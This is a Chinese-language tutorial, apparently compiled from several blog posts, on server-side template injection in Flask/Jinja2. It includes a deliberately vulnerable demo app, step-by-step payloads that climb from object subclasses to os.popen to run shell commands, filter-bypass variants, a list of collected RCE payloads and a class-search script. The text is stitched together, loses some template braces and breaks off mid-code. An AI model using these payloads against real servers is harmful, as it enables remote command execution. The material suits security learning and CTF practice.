python-SSTI模板注入
Posted 海屿-uf9n1x
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了python-SSTI模板注入相关的知识,希望对你有一定的参考价值。
一、python_SSTI模板注入介绍
ssti漏洞成因
ssti服务端模板注入,ssti主要为python的一些框架 jinja2 mako tornado django,PHP框架smarty twig,java框架jade velocity等等使用了渲染函数时,由于代码不规范或信任了用户输入而导致了服务端模板注入,模板渲染其实并没有漏洞,主要是程序员对代码不规范不严谨造成了模板注入漏洞,造成模板可控。本文着重对flask模板注入进行浅析。
模板引擎
首先我们先讲解下什么是模板引擎,为什么需要模板,模板引擎可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,这大大提升了开发效率,良好的设计也使得代码重用变得更加容易。但是往往新的开发都会导致一些安全问题,虽然模板引擎会提供沙箱机制,但同样存在沙箱逃逸技术来绕过。
模板只是一种提供给程序来解析的一种语法,换句话说,模板是用于从数据(变量)到实际的视觉表现(HTML代码)这项工作的一种实现手段,而这种手段不论在前端还是后端都有应用。
通俗点理解:拿到数据,塞到模板里,然后让渲染引擎将赛进去的东西生成 html 的文本,返回给浏览器,这样做的好处展示数据快,大大提升效率。
后端渲染:浏览器会直接接收到经过服务器计算之后的呈现给用户的最终的HTML字符串,计算就是服务器后端经过解析服务器端的模板来完成的,后端渲染的好处是对前端浏览器的压力较小,主要任务在服务器端就已经完成。
前端渲染:前端渲染相反,是浏览器从服务器得到信息,可能是json等数据包封装的数据,也可能是html代码,他都是由浏览器前端来解析渲染成html的人们可视化的代码而呈现在用户面前,好处是对于服务器后端压力较小,主要渲染在用户的客户端完成。
让我们用例子来简析模板渲染。
<html>
<div>$what</div>
</html>
我们想要呈现在每个用户面前自己的名字。但是$what我们不知道用户名字是什么,用一些url或者cookie包含的信息,渲染到what变量里,呈现给用户的为
<html>
<div>张三</div>
</html>
当然这只是最简单的示例,一般来说,至少会提供分支,迭代。还有一些内置函数。
什么是服务端模板注入
通过模板,我们可以通过输入转换成特定的HTML文件,比如一些博客页面,登陆的时候可能会返回 hi,张三。这个时候张三可能就是通过你的身份信息而渲染成html返回到页面。通过Twig php模板引擎来做示例。
$output = $twig->render( $_GET[‘custom_email’] , array(“first_name” => $user.first_name) );
可能你发现了它存在XSS漏洞,直接输入XSS代码便会弹窗,这没错,但是仔细观察,其他由于代码不规范他还存在着更为严重的ssti漏洞,假设我们的
url:xx.xx.xx/?custom_email=7*7
将会返回49
我们继续custom_email=self
<templatereference none=""></templatereference>
是的,在里,他将我们的代码进行了执行。服务器将我们的数据经过引擎解析的时候,进行了执行,模板注入与sql注入成因有点相似,都是信任了用户的输入,将不可靠的用户输入不经过滤直接进行了执行,用户插入了恶意代码同样也会执行。接下来我们会讲到重点。敲黑板。
flask环境本地搭建(略详)
搭建flask我选择了 pycharm,学生的话可以免费下载专业版。下载安装这一步我就不说了。
环境:python 3.6+
基础:0-
简单测试
pycharm安装flask会自动导入了flask所需的模块,所以我们只需要命令安装所需要的包就可以了,建议用python3.6学习而不是2.X,毕竟django的都快要不支持2.X了,早换早超生。自动导入的也是python 3.6。
运行这边会出小错,因为此时我们还没有安装flask模块,
这样就可以正常运行了,运行成功便会返回
* Debug mode: off
* Running on http://127.0.0.1:5000/ (Press CTRL+C to quit)
127.0.0.1 - - [14/Dec/2018 20:32:20] "GET / HTTP/1.1" 200 -
127.0.0.1 - - [14/Dec/2018 20:32:20] "GET /favicon.ico HTTP/1.1" 404 -
此时可以在web上运行hello world了,访问http://127.0.0.1:5000 便可以看到打印出Hello World
route装饰器路由
@app.route(\'/\')
使用route()装饰器告诉Flask什么样的URL能触发我们的函数.route()装饰器把一个函数绑定到对应的URL上,这句话相当于路由,一个路由跟随一个函数,如
@app.route(\'/\')
def test()"
return 123
访问127.0.0.1:5000/则会输出123,我们修改一下规则
@app.route(\'/test\')
def test()"
return 123
这个时候访问127.0.0.1:5000/test会输出123.
此外还可以设置动态网址,
@app.route("/hello/<username>")
def hello_user(username):
return "user:%s"%username
或者可以使用int型,转换器有下面几种:
int 接受整数float 同 int ,但是接受浮点数path 和默认的相似,但也接受斜线@app.route(\'/post/<int:post_id>\')def show_post(post_id): # show the post with the given id, the id is an integer return \'Post %d\' % post_id
main入口
当.py文件被直接运行时,if name == ‘main‘之下的代码块将被运行;当.py文件以模块形式被导入时,if name == ‘main‘之下的代码块不被运行。如果你经常以cmd方式运行自己写的python小脚本,那么不需要这个东西,但是如果需要做一个稍微大一点的python开发,写 if name ==’main__’ 是一个良好的习惯,大一点的python脚本要分开几个文件来写,一个文件要使用另一个文件,也就是模块,此时这个if就会起到作用不会运行而是类似于文件包含来使用。
if __name__ == \'__main__\':
app.debug = True
app.run()
测试的时候,我们可以使用debug,方便调试,增加一句
app.debug = True
或者(效果是一样的)
app.run(debug=True)
这样我们修改代码的时候直接保存,网页刷新就可以了,如果不加debug,那么每次修改代码都要运行一次程序,并且把前一个程序关闭。否则会被前一个程序覆盖。
app.run(host=\'0.0.0.0\')
这会让操作系统监听所有公网 IP,此时便可以在公网上看到自己的web。
模板渲染(重点)
你可以使用 render_template() 方法来渲染模板。你需要做的一切就是将模板名和你想作为关键字的参数传入模板的变量。这里有一个展示如何渲染模板的简例:
简单的模版渲染示
from flask import render_template
@app.route(\'/hello/\')
@app.route(\'/hello/<name>\')
def hello(name=None):
return render_template(\'hello.html\', name=name)//我们hello.html模板未创建所以这段代码暂时供观赏,不妨往下继续看
我们从模板渲染开始实例,因为我们毕竟不是做开发的,flask以模板注入闻名- -!,所以我们先从flask模版渲染入手深入剖析。
首先要搞清楚,模板渲染体系,render_template函数渲染的是templates中的模板,所谓模板是我们自己写的html,里面的参数需要我们根据每个用户需求传入动态变量。
├── app.py ├── static │ └── style.css └── templates └── index.html
我们写一个index.html文件写templates文件夹中。
<html>
<head>
<title>{title} - 小猪佩奇</title>
</head>
<body>
<h1>Hello,{{user.name}}!</h1>
</body>
</html>
里面有两个参数需要我们渲染,user.name,以及title
我们在app.py文件里进行渲染。
@app.route(\'/\')
@app.route(\'/index\')#我们访问/或者/index都会跳转
def index():
user = \'name\': \'小猪佩奇\'#传入一个字典数组
return render_template("index.html",title=\'Home\',user=user)
Image这次渲染我们没有使用用户可控,所以是安全的,如果我们交给用户可控并且不过滤参数就有可能造成SSTI模板注入漏洞。
flask实战
此时我们环境已经搭建好了,可以进行更深一步的讲解了,以上好像我们讲解使用了php代码为啥题目是flask呢,没关系我们现在进入重点!!!--》》flask/jinja2模版注入
Flask是一个使用Python编写的轻量级web应用框架,其WSGI工具箱采用Werkzeug,模板引擎则使用Jinja2。这里我们提前给出漏洞代码。访问http://127.0.0.1:5000/test 即可
from flask import Flask
from flask import render_template
from flask import request
from flask import render_template_string
app = Flask(__name__)
@app.route(\'/test\',methods=[\'GET\', \'POST\'])
def test():
template = \'\'\'
<div class="center-content error">
<h1>Oops! That page doesn\'t exist.</h1>
<h3>%s</h3>
</div>
\'\'\' %(request.url)
return render_template_string(template)
if __name__ == \'__main__\':
app.debug = True
app.run()
flask漏洞成因
为什么说我们上面的代码会有漏洞呢,其实对于代码功底比较深的师傅,是不会存在ssti漏洞的,被一些偷懒的师傅简化了代码,所以造成了ssti。上面的代码我们本可以写成类似如下的形
<html>
<head>
<title>{{title - 小猪佩奇</title>
</head>
<body>
<h1>Hello, {{user.name!</h1>
</body>
</html>
里面有两个参数需要我们渲染,user.name,以及title
我们在app.py文件里进行渲染。
@app.route(\'/\')
@app.route(\'/index\')#我们访问/或者/index都会跳转
def index():
return render_template("index.html",title=\'Home\',user=request.args.get("key"))
也就是说,两种代码的形式是,一种当字符串来渲染并且使用了%(request.url),另一种规范使用index.html渲染文件。我们漏洞代码使用了render_template_string函数,而如果我们使用render_template函数,将变量传入进去,现在即使我们写成了request,我们可以在url里写自己想要的恶意代码你将会发现如下:
即使username可控了,但是代码已经并不生效,并不是你错了,是代码对了。这里问题出在,良好的代码规范,使得模板其实已经固定了,已经被render_template渲染了。你的模板渲染其实已经不可控了。而漏洞代码的问题出在这里
def test():
template = \'\'\'
<div class="center-content error">
<h1>Oops! That page doesn\'t exist.</h1>
<h3>%s</h3>
</div>
\'\'\' %(request.url)
注意%(request.url),程序员因为省事并不会专门写一个html文件,而是直接当字符串来渲染。并且request.url是可控的,这也正是flask在CTF中经常使用的手段,报错404,返回当前错误url,通常CTF的flask如果是ssti,那么八九不离十就是基于这段代码,多的就是一些过滤和一些奇奇怪怪的方法函数。现在你已经明白了flask的ssti成因以及代码了。接下来我们进入实战。
本地环境进一步分析
上面我们已经放出了漏洞代码无过滤版本。现在我们深究如何利用ssti攻击。
现在我们已经知道了在flask中里面的代码将会执行。那么如何利用对于一个python小白可能还是一头雾水,如果之前没有深入学习过python,那么接下来可以让你对于poc稍微有点了解。进入正题。
在python中,object类是Python中所有类的基类,如果定义一个类时没有指定继承哪个类,则默认继承object类。我们从这段话出发,假定你已经知道ssti漏洞了,但是完全没学过ssti代码怎么写,接下来你可能会学到一点废话。
我们在pycharm中运行代码
print("".__class__)
返回了<class \'str\'>,对于一个空字符串他已经打印了str类型,在python中,每个类都有一个bases属性,列出其基类。现在我们写代码。
print("".__class__.__bases__)
打印返回(<class \'object\'>,),我们已经找到了他的基类object,而我们想要寻找object类的不仅仅只有bases,同样可以使用mro,mro给出了method resolution order,即解析方法调用的顺序。我们实例打印一下mro。
print("".__class__.__mro__)
可以看到返回了(<class \'str\'>, <class \'object\'>),同样可以找到object类,正是由于这些但不仅限于这些方法,我们才有了各种沙箱逃逸的姿势。正如上面的解释,mro返回了解析方法调用的顺序,将会打印两个。在flask ssti中poc中很大一部分是从object类中寻找我们可利用的类的方法。我们这里只举例最简单的。接下来我们增加代码。接下来我们使用subclasses,subclasses() 这个方法,这个方法返回的是这个类的子类的集合,也就是object类的子类的集合。
print("".__class__.__bases__[0].__subclasses__())
python 3.6 版本下的object类下的方法集合。这里要记住一点2.7和3.6版本返回的子类不是一样的,但是2.7有的3.6大部分都有。需要自己寻找合适的标号来调用接下来我将进一步解释。打印如下:
[<class \'type\'>, <class \'weakref\'>, <class \'weakcallableproxy\'>, <class \'weakproxy\'>, <class \'int\'>, <class \'bytearray\'>, <class \'bytes\'>, <class \'list\'>, <class \'NoneType\'>, <class \'NotImplementedType\'>, <class \'traceback\'>, <class \'super\'>, <class \'range\'>, <class \'dict\'>, <class \'dict_keys\'>, <class \'dict_values\'>, <class \'dict_items\'>, <class \'odict_iterator\'>, <class \'set\'>, <class \'str\'>, <class \'slice\'>, <class \'staticmethod\'>, <class \'complex\'>, <class \'float\'>, <class \'frozenset\'>, <class \'property\'>, <class \'managedbuffer\'>, <class \'memoryview\'>, <class \'tuple\'>, <class \'enumerate\'>, <class \'reversed\'>, <class \'stderrprinter\'>, <class \'code\'>, <class \'frame\'>, <class \'builtin_function_or_method\'>, <class \'method\'>, <class \'function\'>, <class \'mappingproxy\'>, <class \'generator\'>, <class \'getset_descriptor\'>, <class \'wrapper_descriptor\'>, <class \'method-wrapper\'>, <class \'ellipsis\'>, <class \'member_descriptor\'>, <class \'types.SimpleNamespace\'>, <class \'PyCapsule\'>, <class \'longrange_iterator\'>, <class \'cell\'>, <class \'instancemethod\'>, <class \'classmethod_descriptor\'>, <class \'method_descriptor\'>, <class \'callable_iterator\'>, <class \'iterator\'>, <class \'coroutine\'>, <class \'coroutine_wrapper\'>, <class \'EncodingMap\'>, <class \'fieldnameiterator\'>, <class \'formatteriterator\'>, <class \'filter\'>, <class \'map\'>, <class \'zip\'>, <class \'moduledef\'>, <class \'module\'>, <class \'BaseException\'>, <class \'_frozen_importlib._ModuleLock\'>, <class \'_frozen_importlib._DummyModuleLock\'>, <class \'_frozen_importlib._ModuleLockManager\'>, <class \'_frozen_importlib._installed_safely\'>, <class \'_frozen_importlib.ModuleSpec\'>, <class \'_frozen_importlib.BuiltinImporter\'>, <class \'classmethod\'>, <class \'_frozen_importlib.FrozenImporter\'>, <class \'_frozen_importlib._ImportLockContext\'>, <class \'_thread._localdummy\'>, <class \'_thread._local\'>, <class \'_thread.lock\'>, <class \'_thread.RLock\'>, <class \'_frozen_importlib_external.WindowsRegistryFinder\'>, <class \'_frozen_importlib_external._LoaderBasics\'>, <class \'_frozen_importlib_external.FileLoader\'>, <class \'_frozen_importlib_external._NamespacePath\'>, <class \'_frozen_importlib_external._NamespaceLoader\'>, <class \'_frozen_importlib_external.PathFinder\'>, <class \'_frozen_importlib_external.FileFinder\'>, <class \'_io._IOBase\'>, <class \'_io._BytesIOBuffer\'>, <class \'_io.IncrementalNewlineDecoder\'>, <class \'nt.ScandirIterator\'>, <class \'nt.DirEntry\'>, <class \'PyHKEY\'>, <class \'zipimport.zipimporter\'>, <class \'codecs.Codec\'>, <class \'codecs.IncrementalEncoder\'>, <class \'codecs.IncrementalDecoder\'>, <class \'codecs.StreamReaderWriter\'>, <class \'codecs.StreamRecoder\'>, <class \'_weakrefset._IterationGuard\'>, <class \'_weakrefset.WeakSet\'>, <class \'abc.ABC\'>, <class \'collections.abc.Hashable\'>, <class \'collections.abc.Awaitable\'>, <class \'collections.abc.AsyncIterable\'>, <class \'async_generator\'>, <class \'collections.abc.Iterable\'>, <class \'bytes_iterator\'>, <class \'bytearray_iterator\'>, <class \'dict_keyiterator\'>, <class \'dict_valueiterator\'>, <class \'dict_itemiterator\'>, <class \'list_iterator\'>, <class \'list_reverseiterator\'>, <class \'range_iterator\'>, <class \'set_iterator\'>, <class \'str_iterator\'>, <class \'tuple_iterator\'>, <class \'collections.abc.Sized\'>, <class \'collections.abc.Container\'>, <class \'collections.abc.Callable\'>, <class \'os._wrap_close\'>, <class \'_sitebuiltins.Quitter\'>, <class \'_sitebuiltins._Printer\'>, <class \'_sitebuiltins._Helper\'>, <class \'MultibyteCodec\'>, <class \'MultibyteIncrementalEncoder\'>, <class \'MultibyteIncrementalDecoder\'>, <class \'MultibyteStreamReader\'>, <class \'MultibyteStreamWriter\'>, <class \'functools.partial\'>, <class \'functools._lru_cache_wrapper\'>, <class \'operator.itemgetter\'>, <class \'operator.attrgetter\'>, <class \'operator.methodcaller\'>, <class \'itertools.accumulate\'>, <class \'itertools.combinations\'>, <class \'itertools.combinations_with_replacement\'>, <class \'itertools.cycle\'>, <class \'itertools.dropwhile\'>, <class \'itertools.takewhile\'>, <class \'itertools.islice\'>, <class \'itertools.starmap\'>, <class \'itertools.chain\'>, <class \'itertools.compress\'>, <class \'itertools.filterfalse\'>, <class \'itertools.count\'>, <class \'itertools.zip_longest\'>, <class \'itertools.permutations\'>, <class \'itertools.product\'>, <class \'itertools.repeat\'>, <class \'itertools.groupby\'>, <class \'itertools._grouper\'>, <class \'itertools._tee\'>, <class \'itertools._tee_dataobject\'>, <class \'reprlib.Repr\'>, <class \'collections.deque\'>, <class \'_collections._deque_iterator\'>, <class \'_collections._deque_reverse_iterator\'>, <class \'collections._Link\'>, <class \'types.DynamicClassAttribute\'>, <class \'types._GeneratorWrapper\'>, <class \'weakref.finalize._Info\'>, <class \'weakref.finalize\'>, <class \'functools.partialmethod\'>, <class \'enum.auto\'>, <enum \'Enum\'>, <class \'warnings.WarningMessage\'>, <class \'warnings.catch_warnings\'>, <class \'_sre.SRE_Pattern\'>, <class \'_sre.SRE_Match\'>, <class \'_sre.SRE_Scanner\'>, <class \'sre_parse.Pattern\'>, <class \'sre_parse.SubPattern\'>, <class \'sre_parse.Tokenizer\'>, <class \'re.Scanner\'>, <class \'tokenize.Untokenizer\'>, <class \'traceback.FrameSummary\'>, <class \'traceback.TracebackException\'>, <class \'threading._RLock\'>, <class \'threading.Condition\'>, <class \'threading.Semaphore\'>, <class \'threading.Event\'>, <class \'threading.Barrier\'>, <class \'threading.Thread\'>, <class \'_winapi.Overlapped\'>, <class \'subprocess.STARTUPINFO\'>, <class \'subprocess.CompletedProcess\'>, <class \'subprocess.Popen\'>]
接下来就是我们需要找到合适的类,然后从合适的类中寻找我们需要的方法。这里开始我们不再用pycharm打印了,直接利用上面我们已经搭建好的漏洞环境来进行测试。通过我们在如上这么多类中一个一个查找,找到我们可利用的类,这里举例一种。<class \'os._wrap_close\'>,os命令相信你看到就感觉很亲切。我们正是要从这个类中寻找我们可利用的方法,通过大概猜测找到是第119个类,0也对应一个类,所以这里写[118]。
http://127.0.0.1:5000/test?{{"".__class__.__bases__[0].__subclasses__()[118]
这个时候我们便可以利用.init.globals来找os类下的,init初始化类,然后globals全局来查找所有的方法及变量及参数。
http://127.0.0.1:5000/test?{{"".__class__.__bases__[0].__subclasses__()[118].__init__.__globals__
此时我们可以在网页上看到各种各样的参数方法函数。我们找其中一个可利用的function popen,在python2中可找file读取文件,很多可利用方法,详情可百度了解下。
http://127.0.0.1:5000/test?{{"".__class__.__bases__[0].__subclasses__()[118].__init__.__globals__[\'popen\'](\'dir\').read()}
此时便可以看到命令已经执行。如果是在linux系统下便可以执行其他命令。此时我们已经成功得到权限。进下来我们将进一步简单讨论如何进行沙箱逃逸。
ctf中的一些绕过tips
没什么系统思路。就是不断挖掘类研究官方文档以及各种能够利用的姿势。这里从最简单的绕过说起。
1.过滤[]等括号
使用gititem绕过。如原poc "".class.bases[0]
绕过后"".class.bases.getitem(0)
2.过滤了subclasses,拼凑法
原poc"".class.bases[0].subclasses()
绕过 "".class.bases[0]\'subcla\'+\'sses\'
3.过滤class
使用session
pocsession[\'cla\'+\'ss\'].bases[0].bases[0].bases[0].bases[0].subclasses()[118]
多个bases[0]是因为一直在向上找object类。使用mro就会很方便
{{session[\'__cla\'+\'ss__\'].__mro__[12]
或者
request[\'__cl\'+\'ass__\'].__mro__[12]
4.timeit姿势
可以学习一下 2017 swpu-ctf的一道沙盒python题,
这里不详说了,博大精深,我只意会一
import timeittimeit.timeit("__import__(\'os\').system(\'dir\')",number=1)import platformprint platform.popen(\'dir\').read()
5.收藏的一些poc
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13][\'eval\'](\'__import__("os").popen("ls /var/www/html").read()\' )
object.__subclasses__()[59].__init__.func_globals[\'linecache\'].__dict__[\'o\'+\'s\'].__dict__[\'sy\'+\'stem\'](\'ls\')
{{request[\'__cl\'+\'ass__\'].__base__.__base__.__base__[\'__subcla\'+\'sses__\']()[60][\'__in\'+\'it__\'][\'__\'+\'glo\'+\'bal\'+\'s__\'][\'__bu\'+\'iltins__\'][\'ev\'+\'al\'](\'__im\'+\'port__("os").po\'+\'pen("ca"+"t a.php").re\'+\'ad()\')
还有就可以参考一下P师傅的 https://p0sec.net/index.php/archives/120/
漏洞挖掘
对于一些师傅可能更偏向于实战,但是不幸的是实战中几乎不会出现ssti模板注入,或者说很少,大多出现在python 的ctf中。但是我们还是理性分析下。
每一个(重)模板引擎都有着自己的语法(点),Payload 的构造需要针对各类模板引擎制定其不同的扫描规则,就如同 SQL 注入中有着不同的数据库类型一样。更改请求参数使之承载含有模板引擎语法的 Payload,通过页面渲染返回的内容检测承载的 Payload 是否有得到编译解析,不同的引擎不同的解析。所以我们在挖掘之前有必要对网站的web框架进行检查,否则很多时候并没有用,导致错误判断。
接下来附张图,实战中要测试重点是看一些url的可控,比如url输入什么就输出什么。前期收集好网站的开发语言以及框架,防止错误利用而导致错误判断。如下图较全的反映了ssti的一些模板渲染引擎及利用。
文章知识点与官方知识档案匹配,可进一步学习相关知识
二、SSTI的payload构造思路
1.内置的方法和属性
有些对象类型内置了一些可读属性,它们不会被dir()列举出来。
属性/方法 | 描述 |
---|---|
instance.class | 类实例所属的类 |
class.bases | 类对象(类也是对象)的基类元组 |
definition.name | 类、函数、方法、描述符或生成器实例的名称。 |
class.mro | 此属性是在方法解析期间查找基类时考虑的类元组。 |
class.subclasses() | 每个类都保留一个对其直接子类的弱引用列表。此方法返回所有仍然存活的引用的列表。该列表按定义顺序排列。 |
module.dict | 包含模块的符号表的字典,包括标识符名称和它的引用 |
builtins | 一般被模块作为全局变量提供,它的值或者是builtins模块的引用,或者是则这个模块的__dict__属性。如果是builtins模块,该模块提供Python的所有“内置”标识符的直接访问,例如open函数builtins.open()。这个变量在定义与内置函数同名的模块有用处,可以通过它访问内置的同名函数。另外,还可以通过它修改某些标识符的作用。 |
判断一个模块是否有_builtins_:__builtins__变量是对builtins模块的引用,在sys模块导入了builtins模块的,sys模块是由Python/sysmodule.c编译的,也就是说当一个模块直接或间接(导入的模块里面)导入了sys模块。sys模块是由c程序编译的,但它没有__builtins__变量。
__builtins__的值是当前模块引用的builtins模块:
__builtins__
<module \'builtins\' (built-in)>
module.__builtins__的值是指定模块的所有标识符的字典,与__dict__相比,除了变量,还多出了其它标识符,例如:
os.__builtins__[\'TimeoutError\']
<class \'TimeoutError\'>
属性/方法 | 描述 |
---|---|
import() | 内置函数,它在importlib包下的_bootstrap模块下定义的__import__()方法的实现,在程序运行开始时,这个包就被导入,所以这个方法也被导入当成内置函数。 method._ |
globals_ | 在指定的方法处的全局命名空间(等同于dir(), globals())。method不能是内置的方法名,而是自己定义或者重写的,重写的__init__也算。 |
object.new(cls[…]) | 对象的内置方法,创建新实例时自动调用,用以定制实例的创建过程。传入对象所属的类,其余参数是构造器的参数相同,这个方法返回一个实例,只有这个方法返回实例,对象内置的_init_()才会被调用。 |
object.init(self[…]) | 对象的内置方法,new()之后,给调用者返回实例之前调用。如果基类有自定义的__init__(),那么添加super().init([…]),对基类部分进行初始化。这个方法返回的值只能是None,否则会引发TypeError。Python本质上是动态的,而不是静态的。虚拟机具有变量的可寻址命名空间,而不是编译后的对象代码中的符号表。 |
dir()/dir(module) | 返回在该点的有效命名空间,返回一个字典,每个键值对对应一个变量和它的值, |
globals() | 返回变量名和它的变量值的字典,这些变量在作用域中是视为全局的。 |
locals() | 返回变量名和它的变量值的字典,这些变量在作用域中是视为局部的。 |
2.原理
SSTI的原理是服务器端接收了用户可控的数据,将其作为参数值传入模板引擎,如果这些数据是python代码的字符串,就会被当成代码来执行。
模板引擎解析的文本类似于这样的:
{{ 4*2
是模板表达式,它将执行里面的表达式内容,并输出。所以上面的结果为:
<h1>8</h1>
如果我们可以在文本传入给模板引擎解析之前,对文本进行修改,那么在它里面增加模板表达式等其它能执行python代码的模板语法,就会造成代码注入。例如
text = "<h1>%s<>" % input
render_template_string(text)
input可控,注入模板表达式,并在里面增加代码:
input = " 7*2 "
text变成:
text = "<h1> 7*2 </h1>"
然后再传入模板引擎解析:
render_template_string(text)
如何利用
首先构造一个能执行函数的payload,这里的函数可以是任何自己想要的功能,比如想执行系统命令,可以调用popen(),subprocess()等等;想读取文件,可以调用open()函数。
(1)不管最终想执行什么函数,payload前面的一部分一般都是想拿到基类object的所有子类:
\'\'.__class__.__base__.__subclasses__()
解释:
\'\'是一个对象,__class__是这个对象所属的类,__base__是指定类的基类(父类),subclasses()是Object类的静态方法,返回它的所有子类,包含在一个字典中,键是类名,值是类的引用。
(2)现在我们拿到了所有继承Object类的子类的引用,在调用这些子类的方法时,如果命名空间没有这个类,解析器就会尝试导入包含这个类的模块,例如有个子类叫os._AddedDllDirectory:
\'\'.__class__.__base__.__subclasses__()[139] <class \'os._AddedDllDirectory>
os就是它的模块名,解析器就会尝试去加载并执行os模块的代码,但不会把os这个变量放进命名空间中(说到底,import os的os变量保存是模块的地址,换句话说,命名空间保存的是存储地址的变量,这个地址有可能指向一个值,一个类,一个函数,或者一个模块,总之是一块代码的首地址)。
(3)在解析器加载并执行某个模块的代码时,例如os模块的代码,里面又导入了其它的模块(import sys),这些模块与os定义了一些变量,函数和类,解析器把它们添加到当前的命名空间,接下来通过__globals__获得当前的命名空间,不过它需要一个方法作为调用者,这里我们选一些魔术方法,因为它们的方法名固定,例如__init__、__enter__或__exit__等等。
再补充payload:
\'\'.__class__.__base__.__subclasses__()[139].__init__.__globals__
(4)因为os模块的执行,导致sys模块的导入(import sys),也就是说当前的命名空间有了sys这个变量,它保存了sys模块的地址,通过这个变量可以调用它里面(与变量绑定在一起)的方法、类等成员,sys模块里面有个modules字典,它保存的是已加载模块(已加载但未必在命名空间有对应的变量)的名称与其地址的映射。
还可以通过给 sys.modules 这个字典加入元素,以强制加载某个模块。
\'\'.__class__.__base__.__subclasses__()[139].__init__.__globals__[\'sys\'].modules[\'os\']
(5)拿到os模块的地址后,就可以使用里面的方法了,其中有个popen方法就是想利用的方法,通过它执行shell命令:
\'\'.__class__.__base__.__subclasses__()[139].__init__.__globals__[\'sys\'].modules[\'os\'].popen(\'ls\')
\'\'.__class__.__base__.__subclasses__()[139].__init__.__globals__[\'sys\'].modules[\'os\'].popen(\'ls\')
<os._wrap_close object at 0x000001E29281A580>
(6)popen()返回一个输出流,通过read()读取里面的数据:
\'\'.__class__.__base__.__subclasses__()[139].__init__.__globals__[\'sys\'].modules[\'os\'].popen(\'ls\').read()
3.总结利用思路
(1)明确要利用的目标函数;
(2)找到目标函数被定义的位置,哪个模块(目标模块),或者哪个类(目标类)。
(3)构造前一部分payload,大部分思路是固定的,目的是拿到所有Object类的子类。
(4)这些子类很多没有加载,调用它们里面显式定义的方法,解析器就会加载并执行这个模块,如果模块刚好存在目标函数,就跳到第六步。(直接找到目标函数)
(5)如果第五步加载的模块没有目标函数,就考虑在被加载模块中存在导入目标模块的import语句。(间接导入)
(6)导入了目标函数或者目标模块后,在当前的命名空间就存在它们的变量,接下来就通过这些变量作为调用者,调用目标函数。
一般来说,可以利用的函数有:open(), popen(), subprocess(), system()
总之,构造payload的思路是曲折的,能利用的属性、变量、函数、类等成员很多,调用过程曲折,自由发挥的空间比较大。
附带脚本
用于搜索想利用的目标函数所在的类
search = \'popen\'
num = -1
for c in \'\'.__class__.__base__.__subclasses__()
num += 1
try:
if search in c.__init__.globals__.keys():
print(c, num)
except:
pass
4.payload的收集
{{\'\'.__class__.__base__.__subclasses__()[169].__init__.__globals__[\'sys\'].modules[\'os\'].popen("cat /flag").read()
// os._wrap_close类中的popen
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__[\'popen\'](\'whoami\').read()
// __import__方法
{{"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__(\'os\').popen(\'whoami\').read()
// __builtins__
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__[\'popen\'](\'whoami\').read()
// Jinja2创建的url_for()方法
{{url_for.__globals__.os.popen("cat /flag").read()
详解SSTI模板注入
详解SSTI模板注入
- SSTI简介
- 常见的模板引擎
- SSTI产生的原因
- 常用检测工具 Tplmap
- Flask/Jinja模板引擎的相关绕过
SSTI简介
- MVC是一种框架型模式,全名是Model View Controller
- 即模型(model)-视图(view)-控制器(controller),在MVC的指导下开发中用一种业务逻辑、数据、界面显示分离的方法组织代码,将业务逻辑聚集到一个部件里面,在改进和个性化定制界面及用户交互的同时,得到更好的开发和维护效率
- 在MVC框架中,用户的输入通过 View 接收,交给 Controller ,然后由 Controller 调用 Model 或者其他的 Controller 进行处理,最后再返回给 View ,这样就最终显示在我们的面前了,那么这里的 View 中就会大量地用到一种叫做模板的技术
- 绕过服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,而模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,就会导致敏感信息泄露、代码执行、GetShell 等问题
- 虽然市面上关于SSTI的题大都出在python上,但是这种攻击方式请不要认为只存在于 Python 中,凡是使用模板的地方都可能会出现 SSTI 的问题,SSTI 不属于任何一种语言
常见的模板引擎
PHP
- Smarty:Smarty 算是一种很老的 PHP 模板引擎,使用的比较广泛
- Twig:Twig 是来自于 Symfony 的模板引擎,它非常易于安装和使用,它的操作有点像 Mustache 和 liquid
- Blade:Blade 是 Laravel 提供的一个既简单又强大的模板引擎,和其他流行的 PHP 模板引擎不一样,Blade 并不限制你在视图中使用原生 PHP 代码,所有 Blade 视图文件都将被编译成原生的 PHP 代码并缓存起来,除非它被修改,否则不会重新编译,这就意味着 Blade 基本上不会给应用增加任何额外负担
JAVA
- JSP:这个是一个非常的经典 Java 的模板引擎
- FreeMarker:是一种基于模板和要改变的数据,并用来生成输出文本(HTML网页、电子邮件、配置文件、源代码等)的通用工具, 它不是面向最终用户的,而是一个 Java 类库,是一款程序员可以嵌入他们所开发产品的组件
- Velocity:Velocity 作为历史悠久的模板引擎不单单可以替代 JSP 作为 Java Web 的服务端网页模板引擎,而且可以作为普通文本的模板引擎来增强服务端程序文本处理能力
PYTHON
- Jinja2:flask jinja2 一直是一起说的,使用非常的广泛
- django:django 应该使用的是专属于自己的一个模板引擎,django 以快速开发著称,有自己好用的ORM,他的很多东西都是耦合性非常高的
- tornado:tornado 也有属于自己的一套模板引擎,tornado 强调的是异步非阻塞高并发
RUBY
ERB:全称是Embedded RuBy,意思是嵌入式的Ruby,是一种文本模板技术,和 JSP 的语法很像
GOLANG
- 关于 Golang Template 的 SSTI 研究目前来说还比较少,可能是因为本身设计的也比较安全,现在一般是点和作用域的问题
SSTI产生的原因
- 服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题
常用检测工具 Tplmap


Flask/Jinja模板引擎的相关绕过
- 由于 Flask/Jinja 模板引擎的出现漏洞的几率较大,网上对于这方面的分析的文章也很多,这里对其做个总结
Flask简介
- Flask 是一个用 Python 编写的 Web 应用程序框架,其优点是提供给用户的扩展能力很强,框架只完成了简单的功能,有很大一部分功能可以让用户自己选择并实现
demo漏洞代码
from flask import Flask
from flask import render_template
from flask import request
from flask import render_template_string
app = Flask(__name__)
@app.route('/test',methods=['GET', 'POST'])
def test():
template = '''
<div class="center-content error">
<h1>Oops! That page doesn't exist.</h1>
<h3>%s</h3>
</div>
''' %(request.url)
return render_template_string(template)
if __name__ == '__main__':
